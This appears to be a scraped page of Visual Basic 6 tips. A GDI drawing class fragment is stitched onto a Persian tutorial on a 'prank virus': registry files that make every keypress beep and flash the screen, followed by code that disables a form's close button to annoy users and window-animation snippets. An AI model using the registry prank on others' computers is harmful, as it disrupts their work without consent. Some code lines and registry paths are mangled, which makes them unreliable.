   If m_ThDC = 0 Then
      If (Width > 0) And (Height > 0) Then
         pCreate Width, Height
      End If
   Else
      If Width > m_lWidth Or Height > m_lHeight Then
         pCreate Width, Height
      End If
   End If
   ThDC = m_ThDC
End Function
'======================================================================

'======================================================================
'CREATES THE TEMP DC
Private Sub pCreate(ByVal Width As Long, ByVal Height As Long)
Dim lhDCC As Long
   pDestroy
   lhDCC = CreateDC("DISPLAY", "", "", ByVal 0&)
   If Not (lhDCC = 0) Then
      m_ThDC = CreateCompatibleDC(lhDCC)
      If Not (m_ThDC = 0) Then
         m_hBmp = CreateCompatibleBitmap(lhDCC, Width, Height)
         If Not (m_hBmp = 0) Then
            m_hBmpOld = SelectObject(m_ThDC, m_hBmp)
            If Not (m_hBmpOld = 0) Then
               m_lWidth = Width
               m_lHeight = Height
               DeleteDC lhDCC
               Exit Sub
            End If
         End If
      End If
      DeleteDC lhDCC
      pDestroy
   End If
End Sub
'======================================================================

'======================================================================
'DRAWS THE TEMP DC
Public Sub pDraw( _
      ByVal hdc As Long, _
      Optional ByVal xSrc As Long = 0, Optional ByVal ySrc As Long = 0, _
      Optional ByVal WidthSrc As Long = 0, Optional ByVal HeightSrc As Long = 0, _
      Optional ByVal xDst As Long = 0, Optional ByVal yDst As Long = 0 _
   )
   If WidthSrc <= 0 Then WidthSrc = m_lWidth
   If HeightSrc <= 0 Then HeightSrc = m_lHeight
   BitBlt hdc, xDst, yDst, WidthSrc, HeightSrc, m_ThDC, xSrc, ySrc, vbSrcCopy

End Sub
'======================================================================

'====================================================================

ساخت یک ویروس شوخی!

امروز شما با ویروس Flicker آشنا میشوید .البته شاید بعضی از شما آن را بشناسید چون برنامه نسبتا معروفی است که بیشتر برای شوخی کردن از آن استفاده میشود.(البته Flicker بیشتر شباهت به یک برنامه اعصاب خوردکن دارد تا یک ویروس).Flicker در معنی به معنای چشمک زن و سوسو زدن است و دلیل این نامگذاری این است که این به اصطلاح ویروس کاری میکند که کاربر هرگاه دکمه ای از کیبرد را فشار دهد یک صدای بوق که به آن اصطلاحا Beep گفته مشود از کامپیوتر شنیده میشود و هم زمان با این صدا صفحه مانیتور یکبار بطور سریع چشمک میزند.و با این وضع عملا کار با کیبورد امکاپذیر نیست. لارم به ذکر است که طریقه غیرفعال کردن این ویروس نیز ذکر شده است.

این ویروس از آن دسته است که به کمک رجیستری کار میکند. خب حالا میرسیم به شروع کار: Notepad را باز کنید و عبارت زیر را در آن وارد کنید(پیشنهاد میکنم Copy و Paste کنید).

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]

"Flags"="127"

[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]

"Flags"="3"

"WindowsEffect"="3"

سپس آن را با پسوند Reg و با نامی مثل FlickerON.Reg سیو کنید. حال یک فایل Notepad دیگر باز کنید و عبارت زیر را به منظور غیرفعال کردن ویروستان در آن Copy و Paste کنید:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]

"Flags"="126"

[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]

"Flags"="2"

"WindowsEffect"="0"

و آن را هم به همان روش بالا ولی این بار با نامی مثل FlickerOff.Reg سیو کنید. حال شما دو فایل رجیستری ساختید که با کلیک کردن روی هرکدام از آنها از شما اجازه گرفته و درون رجیستری Import میشوند.حال برای امتحان روی FlickerOn کلیک کنید و وقتی Import شد کامپیوتر خود را Restart کنید تا نحوه کارش را ببینید.

مهم: واضح است که برای غیر فعال مکردن باید همین کارها را با FlickerOff انجام دهید با این تفاوت که شما در آن موقع فقط میتوانید از Mouse استفاده کنید چون کیبورد شما کماکان غیر قابل استفاده است!

لازم به ذکر است که همه ویروسها مثل Flicker مستقیما به کمک رجیستری عمل نمیکنند و روشهای مختلفی برای کار دارند.

از کار اندازی دکمه خروج فرم (Disable Close Button)

شاید بخواین حال کاربرتون رو بگیرین و دکمه  Exit رو Disable کنین و نذارین از برنامه خارج شه واسه این کار کد زیر رو تو یک Module کپی کنید .

Public Const SC_CLOSE = &HF060Public Const MF_BYCOMMAND = &H0

Public Declare Function GetSystemMenu Lib "user32" _(ByVal hwnd As Long, ByVal bRevert As Long) As Long

Public Declare Function DeleteMenu Lib "user32" _(ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long

Public Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long

این کد رو هم در Form_load کپی کنید .

Dim hMenu As Long

hMenu = GetSystemMenu(Me.hwnd, 0&)If hMenu ThenCall DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND)DrawMenuBar (Me.hwnd)End If

همونطور که تو شکل زیر میبینید دکمه Exit غیر فعال شده .

باز شدن فرم به صورت انیمیشن

این تابع در هنگام بارگذاری فرم شما  برنامه شما را به صورت انیمیشن باز میکنه که خیلی جالبه.!!برای مثال در قسمت جنرال پنجره کدها کدهای زیر رو بنویسید:

Private Declare Function AnimateWindow Lib "User32.dll"(ByVal  hWnd as Long ,ByVal_dwTime As Long , Byval dwFlags as Long) as Boolean

Private Const  AW_HOR_POSITIVE = &H1Private Const  AW_HOR_NEGATIVE = &H2Private Const  AW_VER_POSITIVE = &H4Private Const  AW_VER_NEGATIVE = &H8Private Const  AW_CENTER = &H10Private Const  AW_HIDE = &H10000Private Const  AW_ACTIVATE = &H20000Private Const  AW_SLIDE = &H40000Private Const  AW_BLEND = &H80000

حالا در روال Form_Load کدهای زیر رو بنویسید.

Private Sub Form_Load

AnimateWindow  Me.hWnd , 1000 , AW_CENTERMe.Cls

End Sub

حالا یک دکمه فرمان(Command1) روی فرم خودتون قرار بدین سپس کدهای زیر رو بنویسید.

Private Sub Command1_Click

AnimateWindow  Me.hwnd  , 1000 , AW_CENTER  OR  AW_HIDE

End

End Sub

حالا برنامتون رو اجرا کنین و حالشو ببرین.